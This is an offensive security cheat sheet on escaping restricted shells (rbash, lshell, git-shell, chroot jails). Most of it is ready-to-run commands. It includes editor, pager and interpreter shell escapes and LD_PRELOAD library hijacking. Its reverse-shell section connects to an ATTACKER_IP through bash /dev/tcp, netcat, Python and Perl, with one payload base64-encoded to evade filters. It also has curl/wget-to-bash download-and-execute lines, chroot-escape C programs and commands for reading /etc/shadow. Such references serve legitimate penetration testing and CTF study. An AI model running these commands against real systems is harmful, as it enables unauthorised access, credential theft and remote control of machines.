ᛉ Yggdrasil

Linux

Linux Restricted Shell Escape

15 Sep 2026 · 4,973 words · 23 min

Contents

Complete reference for identifying, enumerating, and escaping restricted shell environments (rbash, lshell, rksh, rzsh, chroot jails, and custom restricted shells). Covers every bypass technique from editors and languages to SSH tricks, environment variable abuse, and GTFOBins escapes.


1. What Is a Restricted Shell?

CONCEPT:
──────────────────────────────────────────────────────────────
A restricted shell is a shell that limits what a user can do.
Used to:
→ Provide limited access to system users (support accounts)
→ Contain compromised accounts (honeypots)
→ Sandbox application users (git, www-data, etc.)
→ Provide minimal shell in embedded systems

COMMON RESTRICTIONS (rbash example):
──────────────────────────────────────────────────────────────
✗ Cannot use cd to change directories
✗ Cannot set/unset PATH, SHELL, USER, TERM env vars
✗ Cannot use commands containing forward slashes (/)
✗ Cannot redirect output (>, >>, |)
✗ Cannot use exec to replace shell
✗ Cannot use function imports from environment
✗ Cannot use SHELLOPTS
✗ Limited set of whitelisted commands

HOW TO KNOW YOU'RE IN A RESTRICTED SHELL:
──────────────────────────────────────────────────────────────
$ cd /tmp
bash: cd: restricted
$ /bin/bash
bash: /bin/bash: restricted
$ echo $SHELL
/bin/rbash
$ ls -la /bin/rbash
lrwxrwxrwx 1 root root 4 Jan 1 /bin/rbash -> bash rbash is just bash with -r flag!

$ cat /etc/passwd | grep username
username:x:1001:1001::/home/user:/bin/rbash
↑ restricted shell!


2. Common Restricted Shells

# ==========================================
# rbash — Restricted Bash (Most Common)
# ==========================================

# rbash = bash launched with -r flag
# Check:
echo $SHELL            # /bin/rbash
echo $0                # -rbash or rbash
bash --version         # Still shows bash version
ls -la /bin/rbash      # Symlink to bash

# Restrictions: no cd, no PATH change, no /, no redirect

# ==========================================
# lshell — Limited Shell (Python-based)
# ==========================================

# Configurable whitelist-only shell
# Config: /etc/lshell.conf
# Check:
echo $SHELL            # /usr/bin/lshell
lshell --version

# Restrictions: only whitelisted commands allowed
# Attempting forbidden command:
# >> ls: forbidden
# >> You are not allowed to use this command.

# ==========================================
# rksh — Restricted KornShell
# ==========================================

echo $SHELL            # /bin/rksh
# Similar to rbash but in KornShell

# ==========================================
# rzsh — Restricted ZSH
# ==========================================

echo $SHELL            # /bin/rzsh
# ZSH with -r restriction flag

# ==========================================
# git-shell — Git restricted shell
# ==========================================

cat /etc/passwd | grep git
# git:x:114:119::/home/git:/usr/bin/git-shell
# Only allows git operations
# Very common on git servers

# ==========================================
# scponly — SCP-only shell
# ==========================================

# Only allows SCP file transfers, no interactive shell
echo $SHELL        # /usr/bin/scponly

# ==========================================
# nologin / false — No shell at all
# ==========================================

# /sbin/nologin or /bin/false = no interactive shell
# "This account is not available"

3. Initial Enumeration

# ==========================================
# IDENTIFY THE SHELL
# ==========================================

echo $SHELL                    # What shell am I in?
echo $0                        # Shell name
ps -p $$                       # Current process info
cat /etc/passwd | grep $USER   # Shell set in passwd
echo $PATH                     # Available PATH

# ==========================================
# WHAT COMMANDS ARE AVAILABLE?
# ==========================================

# List available commands (bash built-in)
compgen -c                     # All available commands
compgen -b                     # Built-in commands only
compgen -a                     # All aliases

# Tab-completion trick
# Type nothing and press Tab twice → shows all available commands

# Check what's in PATH directories
ls $PATH                       # May fail if / restricted
echo $PATH                     # Shows what dirs are in PATH
ls /home/user/bin/ 2>/dev/null # Custom restricted bin dir

# ==========================================
# TEST BASIC OPERATIONS
# ==========================================

# Test if commands work:
cd /tmp                   # Can we cd?
ls /                      # Can we use /?
echo test > /tmp/f        # Can we redirect?
cat /etc/passwd           # Can we read files?
/bin/bash                 # Can we call with path?
bash                      # Can we call without path?
sh                        # Can we call sh?

# Test operators:
echo $(id)                # Command substitution $()
echo `id`                 # Backtick substitution
ls|head                   # Pipe |
echo test > /tmp/t        # Redirect >
echo test >> /tmp/t       # Append >>

# ==========================================
# CHECK ENVIRONMENT VARIABLES
# ==========================================

env                            # All environment variables
printenv                       # Same
export -p                      # Exported variables + readonly flags
# Look for: -rx (read-only execute) vs writable

# Key variables to check:
echo $PATH
echo $SHELL
echo $HOME
echo $LD_PRELOAD               # Hijack?
echo $PYTHONPATH               # Hijack?
echo $PERL5LIB                 # Hijack?

# ==========================================
# CHECK SUDO
# ==========================================

sudo -l                        # What can I run as root?
# Even in restricted shell, sudo may work
# sudo <whitelisted_command> with shell escape!

# ==========================================
# CHECK SUID BINARIES
# ==========================================

find / -perm -4000 -type f 2>/dev/null
# May fail if find is restricted
# Try: ls -la /usr/bin/ | grep "rws"

4. Shell Built-in Escapes

# ==========================================
# DIRECT SHELL INVOCATION
# ==========================================

# Try calling unrestricted shells directly
bash                      # If bash in PATH
sh                        # Bourne shell
dash                      # Dash shell
zsh                       # ZSH
ksh                       # KornShell
tcsh                      # TCSH
fish                      # Fish shell

# ==========================================
# BASH WITH FLAGS (bypass restrictions)
# ==========================================

bash -i                           # Interactive bash (may drop restrictions)
bash -p                           # Privileged mode
bash --noprofile                  # Skip /etc/profile (where restrictions may be set)
bash --norc                       # Skip .bashrc (where restrictions may be set)
bash --noprofile --norc           # Skip BOTH → often escapes restricted config!
bash -r                           # Still restricted but different env

# ==========================================
# SET BUILT-IN TO DISABLE RESTRICTION
# ==========================================

# rbash restrictions can sometimes be disabled:
set +r                            # Disable restricted mode!
set +o restricted                 # Same thing
# (Only works if not hardened properly)

# ==========================================
# EXEC BUILT-IN
# ==========================================

# If exec is not blocked:
exec /bin/bash                    # Replace current shell
exec /bin/sh                      # Replace with sh
exec bash                         # If bash in PATH

# ==========================================
# SOURCE / DOT BUILT-IN
# ==========================================

# If source is available:
# Write a script to /tmp and source it
echo '/bin/bash' > /tmp/esc.sh
source /tmp/esc.sh                # Execute it!
. /tmp/esc.sh                     # Same with dot

# ==========================================
# ENABLE BUILT-IN
# ==========================================

# enable can re-enable disabled built-ins
enable -a                         # Enable all built-ins
enable cd                         # Enable cd if disabled

# ==========================================
# COMMAND BUILT-IN
# ==========================================

command /bin/bash                 # Bypass alias/function restrictions
command -p /bin/bash              # Use default PATH

# ==========================================
# HELP / TYPE
# ==========================================

# Sometimes help gives shell access
help                              # List bash built-ins
type bash                         # Show where bash is
type -a bash                      # All instances

5. Text Editor Escapes

Most text editors have built-in shell escape features. One of the most reliable methods.

# ==========================================
# VIM / VI (Most Common)
# ==========================================

vi filename        # Or just: vi
vim filename

# Once inside vim — escape to shell:
:!/bin/bash        # Run bash as external command!
:!/bin/sh          # Run sh
:!bash             # Run bash (if in PATH)
:!sh               # Run sh

# Set shell variable then spawn
:set shell=/bin/bash
:shell             # Opens the set shell!

# Via shell option:
:set shell=/bin/sh shellcmdflag=-c
:!id               # Execute command

# Python via vim
:py3 import os; os.system("/bin/bash")
:py  import os; os.system("/bin/bash")
:py3 import pty; pty.spawn("/bin/bash")

# Ruby via vim
:ruby exec "/bin/bash"

# Lua via vim
:lua os.execute("/bin/bash")

# ==========================================
# NANO
# ==========================================

nano filename      # Open nano

# Escape to shell in nano:
Ctrl+R             # Read file command
Ctrl+X             # In the "read file" prompt — execute!
# At the prompt: type: reset; sh 1>&0 2>&0

# Nano execute command:
Ctrl+T             # "To spell" → runs command!
# At the prompt: bash (or sh)

# ==========================================
# ED (Line Editor)
# ==========================================

ed                 # Start ed editor

# Escape shell:
!'/bin/bash'       # Run bash!
!'/bin/sh'         # Run sh!
!/bin/bash         # Direct
!bash              # If bash in PATH

# ==========================================
# PICO
# ==========================================

pico filename      # Open pico

# Execute commands:
Ctrl+R             # Read external file → execute
# At prompt: pipe to bash

# ==========================================
# GEDIT / KATE / EMACS (GUI editors)
# ==========================================

# Emacs:
emacs
# Inside:
M-x shell          # Open shell inside emacs!
M-! bash           # Execute bash command!
M-x term           # Terminal emulator inside emacs!
# Or: Ctrl+Alt+T equivalent

# ==========================================
# NE (Nice Editor)
# ==========================================

ne filename
# Inside ne:
Esc → Execute       # Execute command
# Run: /bin/bash

6. Pager Escapes

Pagers like less/more/man drop to shell when ! is used.

# ==========================================
# LESS
# ==========================================

less /etc/passwd        # Open any file with less
less /var/log/syslog

# Inside less — shell escape:
!bash                   # Run bash!
!sh                     # Run sh!
!/bin/bash              # Direct path
!id                     # Execute any command

# ==========================================
# MORE
# ==========================================

more /etc/passwd        # Open file with more
# (File must be long enough to require paging)

# Inside more:
!bash                   # Shell escape!
!sh
v                       # Open in vi → then :!/bin/bash

# ==========================================
# MOST
# ==========================================

most /etc/passwd
# Inside most:
:!bash                  # Shell escape

# ==========================================
# MAN
# ==========================================

man man                 # Open any man page
man ls
man bash

# Inside man (which uses less):
!bash                   # Shell escape!
!sh
!/bin/bash

# ==========================================
# PINFO
# ==========================================

pinfo                   # Info page browser

# Inside pinfo:
!bash                   # Shell escape

# ==========================================
# NROFF / GROFF
# ==========================================

# If nroff is available:
nroff -man /usr/share/man/man1/ls.1
# Pipes through pager → !bash

# ==========================================
# GIT (Uses pager internally)
# ==========================================

# If git is in allowed commands:
git log                 # Opens less pager!
git diff                # Opens less pager!
# Inside git's pager (less):
!bash                   # Shell escape!

git --no-pager log      # If you want to suppress pager
# But for escape: keep pager open → !bash

7. Programming Language Escapes

# ==========================================
# PYTHON
# ==========================================

python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import os; os.system("/bin/sh")'
python3 -c 'import os; os.execl("/bin/bash","bash","-i")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# If python interactive shell is allowed:
python3
>>> import os
>>> os.system("/bin/bash")

# Subprocess:
python3 -c 'import subprocess; subprocess.call("/bin/bash")'

# Python 2:
python -c 'import os; os.system("/bin/bash")'

# ==========================================
# PERL
# ==========================================

perl -e 'exec "/bin/bash";'
perl -e 'system("/bin/bash");'
perl -e 'exec "/bin/sh";'
perl -e 'use POSIX; POSIX::exec("/bin/bash");'

# ==========================================
# RUBY
# ==========================================

ruby -e 'exec "/bin/bash"'
ruby -e 'system("/bin/bash")'
ruby -e 'exec "/bin/sh"'
ruby -e 'require "open3"; Open3.popen3("/bin/bash") {|i,o,e,t| i.close; [o,e].each {|s| Thread.new {s.each_line {|l| STDOUT.puts l}}}; t.value}'

# IRB (Interactive Ruby):
irb
>> exec "/bin/bash"

# ==========================================
# PHP
# ==========================================

php -r 'system("/bin/bash");'
php -r 'exec("/bin/bash");'
php -r 'shell_exec("/bin/bash -i");'
php -r 'passthru("/bin/bash");'

# ==========================================
# LUA
# ==========================================

lua -e 'os.execute("/bin/bash")'
lua5.1 -e 'os.execute("/bin/bash")'
lua5.3 -e 'os.execute("/bin/bash")'

# ==========================================
# GO
# ==========================================

echo 'package main;import("os");func main(){os.StartProcess("/bin/bash",[]string{"bash"},&os.ProcAttr{Files:[]*os.File{os.Stdin,os.Stdout,os.Stderr}})}' > /tmp/shell.go
go run /tmp/shell.go

# ==========================================
# NODE.JS
# ==========================================

node -e 'require("child_process").spawn("/bin/bash",{stdio:})'
node -e 'process.mainModule.require("child_process").exec("/bin/bash")'

# Interactive node:
node
> require('child_process').spawn('/bin/bash', {stdio:})

# ==========================================
# JAVA
# ==========================================

# If Java is available:
cat > /tmp/Shell.java << 'EOF'
import java.io.*;
public class Shell {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("/bin/bash");
    }
}
EOF
javac /tmp/Shell.java
java -cp /tmp Shell

# ==========================================
# TCL
# ==========================================

tclsh
% exec /bin/bash

# Or:
echo 'exec /bin/bash' | tclsh

# ==========================================
# AWK
# ==========================================

awk 'BEGIN {system("/bin/bash")}'
awk 'BEGIN {system("/bin/sh")}'
awk 'BEGIN {cmd="/bin/bash"; system(cmd)}'

# ==========================================
# R
# ==========================================

R
> system("/bin/bash")

# Or one-liner:
Rscript -e 'system("/bin/bash")'

8. Command Injection via Allowed Commands

# ==========================================
# FIND
# ==========================================

find / -name "*.txt" -exec /bin/bash \;
find . -exec /bin/sh \; -quit
find . -name . -type d -exec bash \;

# ==========================================
# TAR (Shell Escape)
# ==========================================

tar -cf /dev/null /dev/null --checkpoint=1 \
    --checkpoint-action=exec=/bin/bash

# ==========================================
# ZIP
# ==========================================

zip /tmp/z.zip /tmp -T --unzip-command="sh -c /bin/bash"

# Using zip with unzip:
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'bash #'

# ==========================================
# FTP
# ==========================================

ftp
ftp> !/bin/bash
ftp> !bash

# ==========================================
# GDB
# ==========================================

gdb
(gdb) shell
# Opens system shell!
(gdb) shell /bin/bash
(gdb) call system("/bin/bash")

# ==========================================
# STRACE
# ==========================================

strace /bin/bash 2>/dev/null
# Runs bash under strace → still gives you bash!

# ==========================================
# LTRACE
# ==========================================

ltrace /bin/bash 2>/dev/null

# ==========================================
# NMAP
# ==========================================

# Old nmap (< 5.x):
nmap --interactive
nmap> !sh

# NSE script:
nmap --script=<(echo 'os.execute("/bin/bash")')

# ==========================================
# MYSQL / SQLITE
# ==========================================

# If mysql client available:
mysql -u root -p
mysql> \! bash
mysql> system bash
mysql> \! /bin/bash

# sqlite3:
sqlite3
sqlite> .shell bash
sqlite> .shell /bin/bash

# ==========================================
# SOCAT
# ==========================================

socat stdin exec:/bin/bash

# ==========================================
# TCLSH / WISH
# ==========================================

tclsh
% exec bash

wish
% exec bash

# ==========================================
# XTERM / XDOTOOL (if X11 available)
# ==========================================

xterm &           # Opens terminal with unrestricted shell!
xterm -e bash &

# ==========================================
# BUSYBOX
# ==========================================

busybox sh        # Busybox's own shell — may not be restricted
busybox bash

9. Environment Variable Abuse

# ==========================================
# CHECK WRITABLE ENV VARS
# ==========================================

export -p
# Look for variables WITHOUT -rx prefix → they are writable!
# -rx = read-only, exec-only
# declare -x = writable (no -r)

# ==========================================
# PATH MODIFICATION
# ==========================================

# If PATH is writable (no -r):
export PATH=/tmp:$PATH            # Add /tmp to PATH front
export PATH=/bin:/usr/bin:/tmp    # Set full PATH

# Create fake command in /tmp:
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
ls                                # Now runs your fake 'ls' → bash!

# ==========================================
# SHELL VARIABLE
# ==========================================

# If SHELL is writable:
export SHELL=/bin/bash
exec $SHELL                       # Now executes bash!

# ==========================================
# LD_PRELOAD / LD_LIBRARY_PATH
# ==========================================

# If these are writable → hijack shared library loading!

# Write malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    system("/bin/bash");
}
EOF
gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c

# Set LD_PRELOAD
export LD_PRELOAD=/tmp/evil.so

# Run ANY command → your library loads first → bash spawned!
ls
id
any_command

# ==========================================
# PYTHONPATH / PERL5LIB
# ==========================================

# If python allowed and PYTHONPATH writable:
mkdir /tmp/os
cat > /tmp/os.py << 'EOF'
import subprocess
subprocess.run(['/bin/bash'])
EOF
export PYTHONPATH=/tmp
python3 -c 'import os'    # Imports YOUR os.py → spawns bash!

# ==========================================
# IFS (Internal Field Separator)
# ==========================================

# IFS manipulation can bypass space-based restrictions
IFS=_
ls_-la          # Interpreted as 'ls -la' when IFS=_

# Bypass slash restriction:
IFS=/
PATH=usr${IFS}bin
# Creative slash injection via IFS

# ==========================================
# SHELLOPTS
# ==========================================

# In some configs, SHELLOPTS from environment is parsed:
SHELLOPTS=history:interactive-comments bash
# May give interactive unrestricted session

# ==========================================
# BASH_ENV / ENV
# ==========================================

# If BASH_ENV is writable:
echo '/bin/bash' > /tmp/.bashenv
export BASH_ENV=/tmp/.bashenv
bash                              # Runs BASH_ENV on startup!

# ENV variable (for sh):
echo '/bin/bash' > /tmp/.shenv
export ENV=/tmp/.shenv
sh                                # Runs ENV on startup!

10. PATH Manipulation

# ==========================================
# FORWARD SLASH RESTRICTION BYPASS
# ==========================================

# rbash blocks commands with forward slashes
# But PATH can contain dirs WITH slashes
# → Add a directory to PATH that contains your shell

# Method 1: If PATH writable
export PATH=/tmp:$PATH
cp /bin/bash /tmp/bash     # May fail if cp restricted
# OR if scp/ftp allowed → transfer bash to /tmp/
chmod +x /tmp/bash
bash                        # Now works!

# Method 2: Use existing PATH dir with writable perms
# Find writable directory already in PATH
echo $PATH
ls -la /usr/local/bin/      # Is it writable?
ls -la ~/bin/               # Home bin?

# If writable:
cp /bin/bash /usr/local/bin/mysh
mysh                         # Run your bash copy!

# ==========================================
# COPY BASH WITH SCP / FTP / CURL / WGET
# ==========================================

# If scp available (transfer from attacker):
scp attacker@ATTACKER_IP:/bin/bash /tmp/bash
chmod +x /tmp/bash
/tmp/bash --noprofile        # May still fail if / blocked

# Use wget/curl to download:
wget http://ATTACKER_IP:8080/bash -O /tmp/bash
curl http://ATTACKER_IP:8080/bash -o /tmp/bash

# ==========================================
# SYMBOLIC LINKS
# ==========================================

# Create symlink named without slashes in current dir:
ln -s /bin/bash mybash
mybash                         # Works! No slash in command!

ln -s /bin/sh mysh
mysh

# ==========================================
# USING ALLOWED COMMANDS AS PATH
# ==========================================

# If 'cd' works and '/' is only blocked in commands (not args):
cd /bin
./bash                         # ./ may be allowed even if / is not!
./sh

# ==========================================
# TILDE EXPANSION
# ==========================================

# ~ expands without using /
cd ~                           # Goes to home
ls ~                           # May work where ls / doesn't

# ==========================================
# BRACE EXPANSION
# ==========================================

echo {/bin/bash,}              # May bypass slash filters in some shells
{/bin/bash,}                   # Execute via brace expansion

# ==========================================
# COMMAND SUBSTITUTION PATH INJECTION
# ==========================================

echo $PATH | tr ':' '\n'      # List PATH dirs
# Find one that's writable → place binary there

11. SSH-Based Escapes

# ==========================================
# BYPASS RESTRICTED SHELL DURING SSH LOGIN
# ==========================================

# SSH allows specifying a command to run at login
# This overrides the shell set in /etc/passwd!

# Force bash shell:
ssh username@TARGET_IP -t /bin/bash
ssh username@TARGET_IP -t /bin/sh
ssh username@TARGET_IP -t bash

# Force bash without loading profile (skips restriction config!):
ssh username@TARGET_IP -t "bash --noprofile"
ssh username@TARGET_IP -t "bash --norc"
ssh username@TARGET_IP -t "bash --noprofile --norc"

# Shellshock (CVE-2014-6271) — old systems:
ssh username@TARGET_IP -t "() { :; }; /bin/bash"

# Force command with env reset:
ssh username@TARGET_IP -t "env -i bash --noprofile"

# Via sh:
ssh username@TARGET_IP -t "sh -i"

# ==========================================
# SSH ProxyCommand ESCAPE
# ==========================================

# If SSH is in allowed commands:
ssh -o ProxyCommand='bash -i' x@y 2>/dev/null

# ==========================================
# RSYNC WITH SSH
# ==========================================

# rsync can execute commands via SSH:
rsync -e 'ssh -t bash --noprofile' . username@TARGET_IP:

# ==========================================
# SCP / SFTP COMMAND INJECTION
# ==========================================

# SCP with command override:
ssh username@TARGET_IP -t "scp -S /bin/bash x x"

# ==========================================
# FORCE SPECIFIC SHELL VIA AUTHORIZED_KEYS
# ==========================================

# If you can modify authorized_keys:
# Remove "command=" restriction from the key line
# Default:
# command="/usr/bin/lshell",no-port-forwarding,no-X11-forwarding ssh-rsa AAAA...

# Modified (remove command= restriction):
# ssh-rsa AAAA...

# Or override with bash:
# command="/bin/bash --noprofile" ssh-rsa AAAA...

12. GTFOBins Escapes

GTFOBins lists shell escape for every binary. Key ones for restricted shells:

# ==========================================
# AWK
# ==========================================

awk 'BEGIN {system("/bin/bash")}'
awk 'BEGIN {cmd="/bin/bash"; system(cmd)}'

# ==========================================
# CUT (Limited, but for reading files)
# ==========================================

cut -d "" -f1 /etc/shadow     # Read shadow!

# ==========================================
# EXPECT
# ==========================================

expect -c 'spawn bash; interact'
expect << 'EOF'
spawn /bin/bash
interact
EOF

# ==========================================
# CPAN (Perl module installer)
# ==========================================

cpan
# Inside cpan:
# cpan> ! exec "/bin/bash"

# ==========================================
# IRB (Ruby REPL)
# ==========================================

irb
>> exec "/bin/bash"
>> system("/bin/bash")

# ==========================================
# JRUNSCRIPT (Java)
# ==========================================

jrunscript -e 'java.lang.Runtime.getRuntime().exec("/bin/bash")'

# ==========================================
# SCREEN
# ==========================================

screen /bin/bash              # Run bash inside screen!

# If screen is already running:
# screen -r                   → Attach to session

# ==========================================
# TMUX
# ==========================================

tmux                          # Opens new session with default shell
# If default shell is not rbash:
tmux new-session /bin/bash

# ==========================================
# XARGS
# ==========================================

echo | xargs -I {} /bin/bash
xargs -a /dev/null sh

# ==========================================
# TEE / HEAD / TAIL
# ==========================================

# Not direct shell, but read sensitive files:
head /etc/shadow
tail /etc/shadow
tee < /etc/shadow             # Read shadow!

# ==========================================
# DD
# ==========================================

dd if=/etc/shadow              # Read raw bytes of shadow!

# ==========================================
# SETSID
# ==========================================

setsid /bin/bash               # Run bash in new session
setsid bash -i

# ==========================================
# ENV
# ==========================================

env /bin/bash                  # Run bash via env!
env bash                       # If bash in PATH
env sh                         # Run sh

# ==========================================
# INSTALL / DPKG-DEB
# ==========================================

# sudo install -m =xs $(which bash) .  → creates SUID bash copy
# Then: ./bash -p

# ==========================================
# TASKSET
# ==========================================

taskset 1 bash                 # Run bash on CPU 0
taskset 1 sh

# ==========================================
# IONICE
# ==========================================

ionice -c 3 bash               # Run bash with idle IO priority
ionice bash

13. Wildcard / Glob Tricks

# ==========================================
# BYPASS SLASH RESTRICTION WITH GLOBS
# ==========================================

# If forward slash is blocked in commands but not in globs:
/???/bash                   # Matches /bin/bash!
/???/??                     # Matches /bin/sh, /usr/sh, etc.
/???/s?                     # More specific
/?in/bash                   # /bin/bash, /din/bash, etc.
/b?n/bash                   # /bin/bash

# ==========================================
# GLOB PATTERNS FOR COMMON PATHS
# ==========================================

/*/bash                     # Anything/bash
/bin/?ash                   # /bin/bash, /bin/dash
/*/*/bash                   # Two levels deep

# Enumerate available shells:
echo /bin/*sh               # List all shells in /bin
echo /usr/bin/*sh           # And in /usr/bin

# ==========================================
# BRACE EXPANSION
# ==========================================

# Create strings without typing them:
{ba,}sh                     # = "bash"  (may not help)

# ==========================================
# DOLLAR SIGN TRICKS
# ==========================================

# Use variable to hold slash character
$'\x2F'                     # Hex for /
echo $'\x2F'bin$'\x2F'bash  # = /bin/bash
$'\x2F'bin$'\x2F'bash       # Execute /bin/bash!

# ==========================================
# OCTAL ESCAPE
# ==========================================

$'\057'                      # Octal for /
$'\057'bin$'\057'bash        # = /bin/bash!

# ==========================================
# VARIABLE SLASH INJECTION
# ==========================================

# Store slash in variable
sep='/'
echo ${sep}bin${sep}bash     # /bin/bash
${sep}bin${sep}bash          # Execute!

# ==========================================
# IFS SLASH TRICK
# ==========================================

IFS='/'
read -r a b c <<< '/bin/bash'
$b                           # 'b' = 'bin'
# Reconstruct path via IFS

14. Reverse Shell to Escape

Connect back to attacker machine where there are no restrictions.

# ==========================================
# BASH REVERSE SHELL
# ==========================================

# If bash reverse shell works → attacker listener has full shell!
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Encoded (bypass filters):
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQUtFUl9JUC80NDQ0IDA+JjE= | base64 -d | bash

# ==========================================
# PYTHON REVERSE SHELL
# ==========================================

python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATTACKER_IP",4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;pty.spawn("/bin/bash")'

# ==========================================
# NETCAT REVERSE SHELL
# ==========================================

nc -e /bin/bash ATTACKER_IP 4444
nc -e /bin/sh ATTACKER_IP 4444

# OpenBSD nc (no -e):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444>/tmp/f

# ==========================================
# PERL REVERSE SHELL
# ==========================================

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

# ==========================================
# CURL/WGET DOWNLOAD AND EXECUTE
# ==========================================

# Host payload on attacker: python3 -m http.server 8080
curl http://ATTACKER_IP:8080/shell.sh | bash
wget -qO- http://ATTACKER_IP:8080/shell.sh | bash

# ==========================================
# LISTENER (ATTACKER SIDE)
# ==========================================

nc -lvnp 4444                          # Basic
rlwrap nc -lvnp 4444                   # With history
pwncat-cs -lp 4444                     # Auto TTY upgrade!

15. Chroot Jail Escape

# ==========================================
# WHAT IS A CHROOT JAIL?
# ==========================================

# chroot changes the apparent root directory for a process
# Process sees /jail/ as its /
# Cannot access files outside the jail

# Check if in chroot:
ls -la /
ls -la / | wc -l           # Real / has many entries; jail has few
cat /proc/1/root            # Symlink to /proc/1/root vs real /
stat / | grep "Inode"       # If inode != 2 → in chroot!
ls /proc/*/root 2>/dev/null # Compare proc entries

# ==========================================
# ESCAPE METHOD 1 — Find real root via /proc
# ==========================================

# /proc is often mounted even inside chroot!
ls /proc/1/root/            # This may show REAL root filesystem!
cd /proc/1/root
ls                          # Real /!

# Chroot into real root:
chroot /proc/1/root /bin/bash
chroot /proc/1/root sh

# ==========================================
# ESCAPE METHOD 2 — Mount /proc and use
# ==========================================

# If /proc not mounted in jail:
mount -t proc proc /proc    # (needs root in jail)
# Then use Method 1

# ==========================================
# ESCAPE METHOD 3 — Mkdir + Chroot trick (C program)
# ==========================================

# Classic chroot escape if you're root inside jail:
cat > /tmp/escape.c << 'EOF'
#include <sys/stat.h>
#include <unistd.h>
int main() {
    mkdir("escape_dir", 0755);
    chroot("escape_dir");      // Chroot into subdir
    // Now do ../ enough times to escape!
    chdir("../../../../../../../../../../../../../../..");
    chroot(".");               // Chroot to current (real root!)
    execl("/bin/bash", "bash", "-i", NULL);
}
EOF
gcc -o /tmp/escape /tmp/escape.c
/tmp/escape

# ==========================================
# ESCAPE METHOD 4 — Using open() file descriptors
# ==========================================

# Before chroot, open FD to real root
# Then use fchdir() to escape
cat > /tmp/fd_escape.c << 'EOF'
#include <fcntl.h>
#include <unistd.h>
int main() {
    int fd = open("/", O_RDONLY);  // FD to real root (before chroot)
    chroot(".");                    // Chroot to current dir
    fchdir(fd);                     // Jump back to real root via FD!
    close(fd);
    chroot(".");                    // Chroot to real root = no restriction!
    execl("/bin/bash", "bash", NULL);
}
EOF
gcc -o /tmp/fd_escape /tmp/fd_escape.c
/tmp/fd_escape

# ==========================================
# ESCAPE METHOD 5 — /proc/1/fd symlinks
# ==========================================

ls /proc/1/fd/                 # File descriptors of PID 1 (init/systemd)
ls -la /proc/1/fd/             # May show symlinks to real filesystem

# ==========================================
# ESCAPE METHOD 6 — Device files
# ==========================================

# If /dev/sda or similar is in the jail:
debugfs /dev/sda1
# Read any file on real filesystem!

16. lshell Escapes

lshell is Python-based and has its own specific bypass techniques.

# ==========================================
# IDENTIFY lshell
# ==========================================

echo $SHELL           # /usr/bin/lshell
lshell --version
cat /etc/lshell.conf  # Configuration (what's allowed)

# ==========================================
# CHECK ALLOWED COMMANDS
# ==========================================

help                   # lshell shows allowed commands
# Example: allowed: ['ls', 'echo', 'cd', 'clear', 'help', 'exit']

# ==========================================
# LSHELL ESCAPE TECHNIQUES
# ==========================================

# Method 1 — Echo to run commands
echo os.system('/bin/bash')

# Method 2 — Python (if allowed)
python -c 'import os; os.system("/bin/bash")'

# Method 3 — Semicolon injection (if semicolons allowed)
ls; bash
echo test; bash
cd /tmp; bash

# Method 4 — Command substitution
echo $(bash)
echo `bash`

# Method 5 — Pipe injection (if pipes allowed)
echo test | bash

# Method 6 — Subshell
(bash)

# Method 7 — Backtick in echo
echo `id`                 # Test if backticks work
echo `bash`               # If yes → spawns bash!

# Method 8 — Redirect with command
echo test > /tmp/t; bash  # If semicolons work

# Method 9 — Argument injection via allowed command
# If 'help' runs a pager internally:
help | less               # Then !bash in less

# Method 10 — ed editor (if listed as allowed)
ed
! /bin/bash

# ==========================================
# ESCAPE VIA ALLOWED COMMAND WITH SHELL ESCAPE
# ==========================================

# If any GTFOBin is in lshell's allowed list:
awk 'BEGIN {system("/bin/bash")}'   # If awk allowed
find . -exec bash \;                # If find allowed
vim -c ':!/bin/bash'               # If vim allowed

17. Stabilize Shell After Escape

# ==========================================
# YOU ESCAPED — NOW STABILIZE THE SHELL
# ==========================================

# Step 1: Get a proper PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR:
python3 -c 'import pty; pty.spawn(["/bin/bash", "-i"])'
script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null

# Step 2: Background the shell
Ctrl+Z

# Step 3: Fix terminal on attacker side
stty raw -echo
fg

# Step 4: Fix terminal settings in shell
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 columns 180

# ==========================================
# CHECK WHAT YOU HAVE NOW
# ==========================================

id                          # Who am I?
echo $SHELL                 # What shell?
echo $PATH                  # What's in PATH?
which bash                  # Where is bash?
cat /etc/passwd | grep $USER # My entry
sudo -l                     # Sudo rights?

# ==========================================
# RESET RESTRICTED ENVIRONMENT VARS
# ==========================================

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
export HOME=/root           # If you have root access
export TERM=xterm-256color

18. Master Cheat Sheet

RESTRICTED SHELL ESCAPE CHEAT SHEET

=====================================================================

STEP 1 — IDENTIFY & ENUMERATE
─────────────────────────────────────────────────────────────────

echo $SHELL # What restricted shell?  
echo $PATH # What PATH?  
compgen -c # Available commands?  
export -p # Writable env vars?  
sudo -l # Sudo rights?

STEP 2 — TRY THESE IN ORDER
─────────────────────────────────────────────────────────────────

bash # Direct bash call  
bash --noprofile --norc # Bypass profile restrictions  
sh # Fallback sh  
set +r # Disable restriction (rbash)  
env /bin/bash # Via env  
/bin/bash # Direct path (if / allowed)  
/???/bash # Glob bypass for / restriction

STEP 3 — TEXT EDITORS (Most Reliable)
─────────────────────────────────────────────────────────────────

vi/vim → :!/bin/bash # Shell escape in vim  
